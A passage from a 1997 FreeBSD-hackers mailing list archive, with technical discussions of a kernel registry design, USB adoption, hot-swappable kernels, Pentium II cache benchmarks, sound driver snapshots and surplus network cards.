point, I haven't gone so far as to support marking > individual nodes or methods as pageable or otherwise; if this becomes > desirable, the correct way to implement it would be with pageable > kernel memory IMHO. There are issues related to tree/chain transit as > well with pageable registry entries that I didn't want to get involved > with at this stage. > > > I've personally been working on Win95/NT style registry API's at the > > kernel level (a necessary step to support use of Win32 Ring 0 drivers > > in FreeBSD), so I've basically ignored code-level reviews of such things. > > Fair enough. I would be interested to know what sort of infrastructure > support that kind of API would require. > > > My personal preference is an LDAP database accessable from user or > > kernel space, or remotely via an LDAPd. I have not seriously pursued > > this because of the (apparent) NDBM requirements. > > Whilst LDAP is quite a desirable goal to pursue, the principal thrust > of this code is to address parameter management for subsystems which > lie too low down for LDAP lookup to be useful, eg. drivers, > fundamental network configuration, etc. > > -- > ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ > ]] Genesis Software genesis@gsoft.com.au [[ > ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ > ]] realtime instrument control. (ph) +61-8-8267-3493 [[ > ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ > From owner-freebsd-hackers Wed Aug 6 01:22:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA07893 for hackers-outgoing; Wed, 6 Aug 1997 01:22:43 -0700 (PDT) Received: from mail.webspan.net (root@mail.webspan.net [206.154.70.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA07868; Wed, 6 Aug 1997 01:22:38 -0700 (PDT) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (WEBSPAN/970608) with ESMTP id DAA13423; Wed, 6 Aug 1997 03:47:52 -0400 (EDT) Received: from orion.webspan.net (localhost [127.0.0.1]) by orion.webspan.net (WEBSPAN/970608) with ESMTP id DAA06856; Wed, 6 Aug 1997 03:47:52 -0400 (EDT) To: Alex cc: Michael Smith , Atipa , hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG From: "Gary Palmer" Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-reply-to: Your message of "Tue, 05 Aug 1997 19:40:29 PDT." Date: Wed, 06 Aug 1997 03:47:52 -0400 Message-ID: <6854.870853672@orion.webspan.net> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Alex wrote in message ID : > I have no idea, however Memphis has a whole set of drivers specific for > DVD stuff and a whole bug section. Where is the MPEG2 decoder hardware that is associated with the DVD player? How do you control it? I bet thats what its for. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Wed Aug 6 02:06:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA10289 for hackers-outgoing; Wed, 6 Aug 1997 02:06:05 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA10284 for ; Wed, 6 Aug 1997 02:06:01 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id TAA05092; Wed, 6 Aug 1997 19:06:22 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id SAA05837; Wed, 6 Aug 1997 18:35:27 +0930 (CST) Message-Id: <199708060905.SAA05837@freebie.lemis.com> Subject: Re: Hot Swappable Kernels In-Reply-To: from "Jamil J. Weatherbee" at "Aug 6, 97 00:56:38 am" To: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Date: Wed, 6 Aug 1997 18:35:27 +0930 (CST) Cc: hackers@freebsd.org (FreeBSD Hackers) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jamil J. Weatherbee writes: > > I know this may sound kind of lame: > > I was thinking last night of what would be required to have a hot > swappable kernel.. i.e. being able to compile the kernel binary (probably) > modules and then insert it into a running system while maintaining its > running status --- to my knowledge kernel recompiles are the only reason a > perfectly rebooting system needs to come down every once in a while. I suspect people are going to shoot you down in flames, and they're probably justified. But I suppose you'd like to know that I've done just that in the past, at Tandem. The operating system is a loosely coupled network, so we were able to boot one machine at a time. Despite the obvious interest of such a scheme for Tandem, and despite my extensive lobbying, it never came to anything. I can't imagine how you would start to do such a thing with UNIX. The closest you could come to it would be to split most of the kernel into LKMs, and change them. But there's a basic conflict of concept between keeping a kernel running (even if it's no longer the same kernel) and booting a kernel. Greg From owner-freebsd-hackers Wed Aug 6 02:11:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA10479 for hackers-outgoing; Wed, 6 Aug 1997 02:11:25 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA10458; Wed, 6 Aug 1997 02:11:18 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id SAA06556; Wed, 6 Aug 1997 18:40:02 +0930 (CST) From: Michael Smith Message-Id: <199708060910.SAA06556@genesis.atrad.adelaide.edu.au> Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <0FDE707975DCD0119E75006097C2ED880296AE@LUNA.e-planet.com> from "Rahimi, Ali" at "Aug 5, 97 10:34:46 pm" To: ARahimi@e-planet.com (Rahimi, Ali) Date: Wed, 6 Aug 1997 18:40:02 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, freebsd@atipa.com, sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Rahimi, Ali stands accused of saying: > > >It would also be foolish to leap in in a hurry and waste scarce > >developer resources on the next fad. > > Not so if every major manufacturer is looking at USB and if you're > intereseted in staying competitive. This isn't obvious though. Where are all the USB peripherals? > >I think that the lack of peripheral support is telling; particularly > > I think it's telling of the fact that most PCs don't have a USB port > on them yet. Compaq and Dell will soon be shipping with USB ports > however. USB will be here soon. Whether it will be a success, I don't > know, I'm not an analyst, PCs with USB ports will be here. Well, USB ports have been a selling point on a lot of systems here, but most of the motherboards that ship with it come with mini-8 DIN connectors rather than the "real" USB connector. For all the hype, nobody has yet offered me a USB peripheral of any sort. > >the custom silicon that is almost critical to producing a > >cost-effective peripheral just hasn't made it to market yet. At the > > I regularly go to 7 different silicon manufacturers when I'm looking > for parts. I went through all 7 of them (they're bookmarked in my > netscape). 5 of them had a USB support chipset (the other two were > memory companies). I'd say the silicon has made it to market. (the > manufacturers, for your reference include TI, National, NEC,Motorola, > etc). Can you be a little more specific about this? Particularly, can you point me at the online documentation covering the _peripheral_side_ chipsets, specifically the ones that live in the I/O space of a host micro and subsume all the protocol management? These, and the obvious next step (putting the macrocell on the same silicon as a micro) need to be out and _cheap_ before USB will go anywhere. > I can't wait to not have to hook up my mouse, my keyboard and my > speakers to three different looking and completely separate and > dispersed jacks. I _appreciate_ having separate ports and sensible I/O mechanisms for diverse peripherals. I wish that the PC keyboard and rodent were integrated and used a standard serial interface, but I don't think that having a set of _speakers_ on USB makes any real sense at all. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 02:34:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA11401 for hackers-outgoing; Wed, 6 Aug 1997 02:34:10 -0700 (PDT) Received: from bugs.us.dell.com (bugs.us.dell.com [143.166.169.147]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA11395 for ; Wed, 6 Aug 1997 02:34:07 -0700 (PDT) Received: from moth.us.dell.com (moth.us.dell.com [143.166.169.152]) by bugs.us.dell.com (8.6.12/8.6.12) with SMTP id EAA11966; Wed, 6 Aug 1997 04:33:05 -0500 Message-Id: <3.0.2.32.19970806043249.006df3e4@bugs.us.dell.com> X-Sender: tony@bugs.us.dell.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Wed, 06 Aug 1997 04:32:49 -0500 To: Curt Sampson From: Tony Overfield Subject: Re: Pentium II? Cc: hackers@FreeBSD.ORG In-Reply-To: References: <3.0.2.32.19970803041915.006a69e4@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 03:17 AM 8/3/97 -0700, Curt Sampson wrote: >I wasn't interested in what you think as much as which particular >benchmarks indicate this. Feel free to provide references. I claimed that a larger L1 cache makes the processor faster, which at least partially offsets the effect of the slower L2 cache. This is ordinarily a self-evident truth which needs no references. I have no desire to search for references at the behest of skeptics. >> It should be easy to agree that larger L1 caches have higher hit rates. > >Sure. But the L2 cache in the PPro is running at the same speed as >the L1 cache in the PPro and the PII. Thus, I don't think that >having twice the L1 cache is going to make a lot of difference. >Feel free to show me the actual benchmarks that prove me wrong. > >cjs > >Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ >Internet Portal Services, Inc. `And malt does more than Milton can >Vancouver, BC (604) 257-9400 To justify God's ways to man.' You're wrong. The L1 cache in the PPro is faster than its L2 cache. Since the size of the L1 cache can't be adjusted on PPro processors, it's not easy to find a ready-made benchmark that proves that a larger L1 cache is beneficial. One way that this can be shown is to compare the Pentium processors to the Pentium w/ MMX processors. In comparisons between these, the MMX is invariably faster, due (for non-MMX benchmarks) entirely to the larger L1 cache. However, as you said, this only helps if the L2 cache is slower than the L1 cache. But *that* can be easily proven. The performance of a cache depends on more than the clock speed at which it runs. The L1 cache in the PPro and PII is split between an instruction cache and a dual-ported data cache. Thus, the L1 cache can transfer up to three sets of data per cycle. This means the processor can simultaneously read code from the code cache, read data from the data cache, and write data to the data cache. The L2 cache, on the other hand, is a unified instruction and data cache with a 64 bit data bus. This L2 cache is much improved over the Pentium (P5) architecture because it has a dedicated bus. The dedicated L2 cache bus prevents L2 cache accesses from competing for bandwidth with the external CPU data bus, which may be busy with ordinary CPU traffic, traffic from PCI master cycles and traffic from other processors. Even though the built-in L2 cache is very fast, it is not as fast as the more tightly integrated L1 cache. Some benchmark data is included below. First the benchmark pseudocode: (If you want the DOS x86 assembly source code, ask me.) loop (for a variety of sizes) { wbinvd (empty the L1 and L2 caches) rep movsd (move, in place, the test memory) rtsc (read time stamp counter -> start time) rep movsd (move, in place, the test memory) rtsc (read time stamp counter -> end time) } This simple little benchmark shows: 1. The PPro L1 data cache is 8KB. 2. The PII L1 data cache is 16KB. 3. The PII L2 cache is half-speed with respect to the PPro. 4. My PPro's L2 cache is 256KB. 5. My PII's L2 cache is 512KB. 6. DRAM is much slower than the L2 cache (of course). 7. The PPro's L2 cache is about two times slower than its L1 cache. 8. The PII's L2 cache is about 4 or 5 times slower than its L1 cache. The results: PPro 200/256 Moving 2KB - Clocks: 0x0000023A Clocks/KB moved: 285 Moving 4KB - Clocks: 0x000003B9 Clocks/KB moved: 238 Moving 8KB - Clocks: 0x000006C9 Clocks/KB moved: 217 Moving 12KB - Clocks: 0x0000186E Clocks/KB moved: 521 Moving 16KB - Clocks: 0x0000206E Clocks/KB moved: 518 Moving 24KB - Clocks: 0x0000306E Clocks/KB moved: 516 Moving 32KB - Clocks: 0x0000406E Clocks/KB moved: 515 Moving 64KB - Clocks: 0x0000806E Clocks/KB moved: 513 Moving 128KB - Clocks: 0x0001006E Clocks/KB moved: 512 Moving 256KB - Clocks: 0x00020127 Clocks/KB moved: 513 Moving 384KB - Clocks: 0x000DBA60 Clocks/KB moved: 2342 Moving 512KB - Clocks: 0x00124D1D Clocks/KB moved: 2342 Moving 768KB - Clocks: 0x001B72BE Clocks/KB moved: 2342 Moving 1024KB - Clocks: 0x00249796 Clocks/KB moved: 2341 PII 233/512 Moving 2KB - Clocks: 0x0000023A Clocks/KB moved: 285 Moving 4KB - Clocks: 0x000003BA Clocks/KB moved: 238 Moving 8KB - Clocks: 0x000006BA Clocks/KB moved: 215 Moving 12KB - Clocks: 0x000009BA Clocks/KB moved: 207 Moving 16KB - Clocks: 0x00000CF8 Clocks/KB moved: 207 Moving 24KB - Clocks: 0x0000661B Clocks/KB moved: 1089 Moving 32KB - Clocks: 0x0000881E Clocks/KB moved: 1088 Moving 64KB - Clocks: 0x0001101E Clocks/KB moved: 1088 Moving 128KB - Clocks: 0x00022024 Clocks/KB moved: 1088 Moving 256KB - Clocks: 0x0004401A Clocks/KB moved: 1088 Moving 384KB - Clocks: 0x00066029 Clocks/KB moved: 1088 Moving 512KB - Clocks: 0x000880C6 Clocks/KB moved: 1088 Moving 768KB - Clocks: 0x0016A600 Clocks/KB moved: 1932 Moving 1024KB - Clocks: 0x0026AC66 Clocks/KB moved: 2475 Clocks are measured in actual CPU clocks, so these numbers don't change much when the clock speed is changed, except for those which are affected by DRAM accesses, since DRAM speed doesn't scale with CPU speed. - Tony From owner-freebsd-hackers Wed Aug 6 02:34:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA11417 for hackers-outgoing; Wed, 6 Aug 1997 02:34:12 -0700 (PDT) Received: from bugs.us.dell.com (bugs.us.dell.com [143.166.169.147]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA11400 for ; Wed, 6 Aug 1997 02:34:09 -0700 (PDT) Received: from moth.us.dell.com (moth.us.dell.com [143.166.169.152]) by bugs.us.dell.com (8.6.12/8.6.12) with SMTP id EAA11960; Wed, 6 Aug 1997 04:33:04 -0500 Message-Id: <3.0.2.32.19970806011906.006df3e4@bugs.us.dell.com> X-Sender: tony@bugs.us.dell.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Wed, 06 Aug 1997 01:19:06 -0500 To: Peter Korsten From: Tony Overfield Subject: Re: Pentium II? Cc: hackers@FreeBSD.ORG In-Reply-To: <19970805151400.03327@grendel.IAEhv.nl> References: <3.0.2.32.19970804125532.0070d730@bugs.us.dell.com> <3.0.2.32.19970803041901.006a69e4@bugs.us.dell.com> <3.0.2.32.19970804125532.0070d730@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 03:14 PM 8/5/97 +0200, Peter Korsten wrote: >Maybe I'm naive here, but isn't it kinda impossible to write 64 >bits at one time over a 32 bits bus? 64 bits PCI isn't that wide- >spread yet and while you may be able to write 64 bits at a time, >they'll have to move in two chunks of 32 bits. You're certainly right, but that's not what I said. It's possible for the two 32-bit chunks to be combined back into a 64-bit chunk before the 64-bit DRAM sees it. But I also said it happened often, which probably isn't true at this time. From owner-freebsd-hackers Wed Aug 6 03:19:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA13575 for hackers-outgoing; Wed, 6 Aug 1997 03:19:34 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA13570 for ; Wed, 6 Aug 1997 03:19:31 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id GAA08967; Wed, 6 Aug 1997 06:25:01 -0400 Date: Wed, 6 Aug 1997 06:25:01 -0400 (EDT) From: Ben Black To: "Jordan K. Hubbard" cc: hackers@FreeBSD.ORG Subject: Re: BootEasy, barracudas, and psm0 problems In-Reply-To: <13789.870847779@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk yes, i assumed that. shoot me for not RTFMing. On Tue, 5 Aug 1997, Jordan K. Hubbard wrote: > This should have been sent to freebsd-questions; please address > questions there in the future. > > > 1) whenever i install booteasy on a seagate barracuda it gives me the > > normal F1.......BSD stuff, but pressing F1 just gives me the prompt > > again. if i use the boot floppy to boot sd(0,a)kernel then the system > > And this is covered in the HARDWARE.TXT file and the FAQ, either one > of which you should have read. :) You have a geometry mismatch > problem. > > Jordan > From owner-freebsd-hackers Wed Aug 6 03:34:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA14483 for hackers-outgoing; Wed, 6 Aug 1997 03:34:21 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA14474 for ; Wed, 6 Aug 1997 03:34:16 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id GAA09055; Wed, 6 Aug 1997 06:26:39 -0400 Date: Wed, 6 Aug 1997 06:26:39 -0400 (EDT) From: Ben Black To: "Jamil J. Weatherbee" cc: Michael Smith , Terry Lambert , hackers@FreeBSD.ORG Subject: Re: Hot Swappable Kernels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk systems like KeyKOS that store all kernel state outside the kernel could theoretically do something like this. if the state is stored inside the kernel things get REALLY ugly if you want to try this. ben From owner-freebsd-hackers Wed Aug 6 04:17:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA16731 for hackers-outgoing; Wed, 6 Aug 1997 04:17:56 -0700 (PDT) Received: from hda.hda.com (hda-bicnet.bicnet.net [208.220.66.37]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA16726 for ; Wed, 6 Aug 1997 04:17:53 -0700 (PDT) Received: (from dufault@localhost) by hda.hda.com (8.8.5/8.8.5) id GAA22459; Wed, 6 Aug 1997 06:31:35 -0400 (EDT) From: Peter Dufault Message-Id: <199708061031.GAA22459@hda.hda.com> Subject: Re: Registry reviewers? In-Reply-To: <199708060133.LAA01644@genesis.atrad.adelaide.edu.au> from Michael Smith at "Aug 6, 97 11:03:13 am" To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Wed, 6 Aug 1997 06:31:35 -0400 (EDT) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk (...) > > Structure: > - We have a period-delimited hierarchical namespace, with support for > lookup by name or by oid (for sysctl compatability). How about slashes instead of dots with "mount_registy" file system access? Peter -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Safety critical systems, Agency approval From owner-freebsd-hackers Wed Aug 6 04:43:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA18222 for hackers-outgoing; Wed, 6 Aug 1997 04:43:37 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA18216; Wed, 6 Aug 1997 04:43:29 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id MAA12656; Wed, 6 Aug 1997 12:46:01 +0200 From: Luigi Rizzo Message-Id: <199708061046.MAA12656@labinfo.iet.unipi.it> Subject: [snddrv] snd970806.tgz available To: luigi@labinfo.iet.unipi.it (Luigi Rizzo) Date: Wed, 6 Aug 1997 12:46:01 +0200 (MET DST) Cc: multimedia@freebsd.org X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [Bcc to hackers] Yet another snap (actually two) of the sound code: http://www.iet.unipi.it/~luigi/snd970806.tgz this has been tested with the SBpro and works both in play and rec. _should_ work with mss in full duplex, but I had no chance to test it. Try this first. http://www.iet.unipi.it/~luigi/snd970805.tgz If the above doesn't work well for you on the MSS, try this one. It is approximately the same as above, modulo a few missing fixes for SBpro support. It _does_ work (tested with the CS4236) in full duplex on the MSS, and allows multiple opens, i.e. you can do cat /dev/audio1 | dd obs=8000 > /dev/audio1 to obtain a nice echo effect (changing obs you can also change the delay). In both cases, the README file contains install instructions. Differences from the previous snap (snd970731): * added all speed/mode/format change ioctls (tested for MSS); * added support for multiple opens on MSS; * improved PnP support; * improved documentation; * improved SBpro support; * several assorted fixes and cleanups; Next snap in about 1 week, when I hope to make the OPTi931 finally working. I am unsubscribing from -hackers, so if you have something to say email me directly. Cheers Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Wed Aug 6 05:47:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA22010 for hackers-outgoing; Wed, 6 Aug 1997 05:47:32 -0700 (PDT) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [209.49.144.254]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA22005 for ; Wed, 6 Aug 1997 05:47:30 -0700 (PDT) Message-Id: <199708061244.IAA24112@gatekeeper.itribe.net> Received: forwarded by SMTP 1.5.2. Date: Wed, 6 Aug 1997 08:49:13 -0400 (EDT) From: Jamie Bowden To: David Holloway cc: hackers@freebsd.org Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, David Holloway wrote: > I see USB as another good way to > get around the ever present "not enough irqs" problem Damn, I was hoping for an intelligent bus design that gave each bus interface it's own dedicated data channel, like high end workstations have. Jamie Bowden System Administrator, iTRiBE.net From owner-freebsd-hackers Wed Aug 6 06:24:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA24125 for hackers-outgoing; Wed, 6 Aug 1997 06:24:48 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA24097 for ; Wed, 6 Aug 1997 06:24:41 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id WAA08882; Wed, 6 Aug 1997 22:54:22 +0930 (CST) From: Michael Smith Message-Id: <199708061324.WAA08882@genesis.atrad.adelaide.edu.au> Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708061244.IAA24112@gatekeeper.itribe.net> from Jamie Bowden at "Aug 6, 97 08:49:13 am" To: jamie@itribe.net (Jamie Bowden) Date: Wed, 6 Aug 1997 22:54:22 +0930 (CST) Cc: daveh@tamis.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jamie Bowden stands accused of saying: > On Tue, 5 Aug 1997, David Holloway wrote: > > > I see USB as another good way to > > get around the ever present "not enough irqs" problem > > Damn, I was hoping for an intelligent bus design that gave each bus > interface it's own dedicated data channel, like high end workstations > have. I'm not sure exactly what you're getting at here; from the top of the USB stack, that's more or less the way it is. The problem is just that that stack is a fairly hairy animal; it has a lot of functionality, but you pay for it. I suspect you were referring to separate physical channels, no? > Jamie Bowden ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 06:27:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA24291 for hackers-outgoing; Wed, 6 Aug 1997 06:27:13 -0700 (PDT) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [209.49.144.254]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id GAA24286 for ; Wed, 6 Aug 1997 06:27:10 -0700 (PDT) Message-Id: <199708061324.JAA24272@gatekeeper.itribe.net> Received: forwarded by SMTP 1.5.2. Date: Wed, 6 Aug 1997 09:28:49 -0400 (EDT) From: Jamie Bowden To: Michael Smith cc: daveh@tamis.com, hackers@freebsd.org Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708061324.WAA08882@genesis.atrad.adelaide.edu.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 6 Aug 1997, Michael Smith wrote: > Jamie Bowden stands accused of saying: > > On Tue, 5 Aug 1997, David Holloway wrote: > > > > > I see USB as another good way to > > > get around the ever present "not enough irqs" problem > > > > Damn, I was hoping for an intelligent bus design that gave each bus > > interface it's own dedicated data channel, like high end workstations > > have. > > I'm not sure exactly what you're getting at here; from the top of the > USB stack, that's more or less the way it is. The problem is just > that that stack is a fairly hairy animal; it has a lot of > functionality, but you pay for it. > > I suspect you were referring to separate physical channels, no? Yep. Jamie Bowden System Administrator, iTRiBE.net From owner-freebsd-hackers Wed Aug 6 07:54:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA00294 for hackers-outgoing; Wed, 6 Aug 1997 07:54:16 -0700 (PDT) Received: from bitbox.follo.net (eivind@bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA00287 for ; Wed, 6 Aug 1997 07:54:06 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.5/8.7.3) id QAA14915; Wed, 6 Aug 1997 16:52:05 +0200 (CEST) Date: Wed, 6 Aug 1997 16:52:05 +0200 (CEST) Message-Id: <199708061452.QAA14915@bitbox.follo.net> From: Eivind Eklund To: Michael Smith CC: hans@brandinnovators.com, hackers@FreeBSD.ORG In-reply-to: Michael Smith's message of Wed, 6 Aug 1997 12:44:52 +0930 (CST) Subject: Re: Registry reviewers? References: <199708051050.MAA26530@truk.brandinnovators.com> <199708060314.MAA02934@genesis.atrad.adelaide.edu.au> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Hans Zuidam stands accused of saying: > > > Michael Smith wrote: > > > If I were to just slip it in parallel with the sysctl code, would anyone > > > notice? 8) > > Forgive my ignorance, but what does the registery code actually do that > > cannot be done with sysctl? > > Is this "in general" or "specifically"? > > The most significant differences are that it uses method-based access > to data, ie. the node supplies methods rather than a data pointer, and > it tries harder to hide the innards of the data storage from the > consumer. Does it supply inline documentation for each variable? That is my main complain with both the windows registry and sysctl - there is no inline docs. And where is the code for review? (And how am I going to find time for this? :) Eivind. From owner-freebsd-hackers Wed Aug 6 08:15:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA01393 for hackers-outgoing; Wed, 6 Aug 1997 08:15:28 -0700 (PDT) Received: from sabre.goldsword.com (sabre.goldsword.com [199.170.202.32]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA01359; Wed, 6 Aug 1997 08:15:18 -0700 (PDT) Received: (from jfarmer@localhost) by sabre.goldsword.com (8.7.5/8.7.3) id LAA20597; Wed, 6 Aug 1997 11:17:43 -0400 (EDT) Date: Wed, 6 Aug 1997 11:17:43 -0400 (EDT) From: "John T. Farmer" Message-Id: <199708061517.LAA20597@sabre.goldsword.com> To: dennis@etinc.com, et-users@etinc.com Subject: Re: VLB NE2000 cards - Cheap Cc: hackers@FreeBSD.ORG, isp@FreeBSD.ORG, jfarmer@goldsword.com, questions@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 05 Aug 1997 18:47:21 -0400 dennis said: > >Im dumping these so cheaply that I consider this a public service, >so please dont flame me! > >We're only selling PCI now, so Im looking to unload some >NE2000 compatible VLB cards (about 20% faster than regular >NE2000 cards) that work nicely with FreeBSD (they DONT work >in Linux...I dont know nor care why). $10., 5 minimum...I have >15 left. > >Oh..brand new of course, but the factory warranty is up as I've had >them awhile. Dennis, Do these work ok under (shudder) Windoze? I have some client WfW & W95 machines on a net that are Win machines. (Netware? I might donate one to my church's Novel 3.12 server.) Ok, they're faster than an ISA NE2000. How does that compare to, say the 3Com 509's? Thanks John ------------------------------------------------------------------------- John T. Farmer Proprietor, GoldSword Systems jfarmer@goldsword.com Public Internet Access in East Tennessee dial-in (423)470-9953 for info, e-mail to info@goldsword.com Network Design, Internet Services & Servers, Consulting From owner-freebsd-hackers 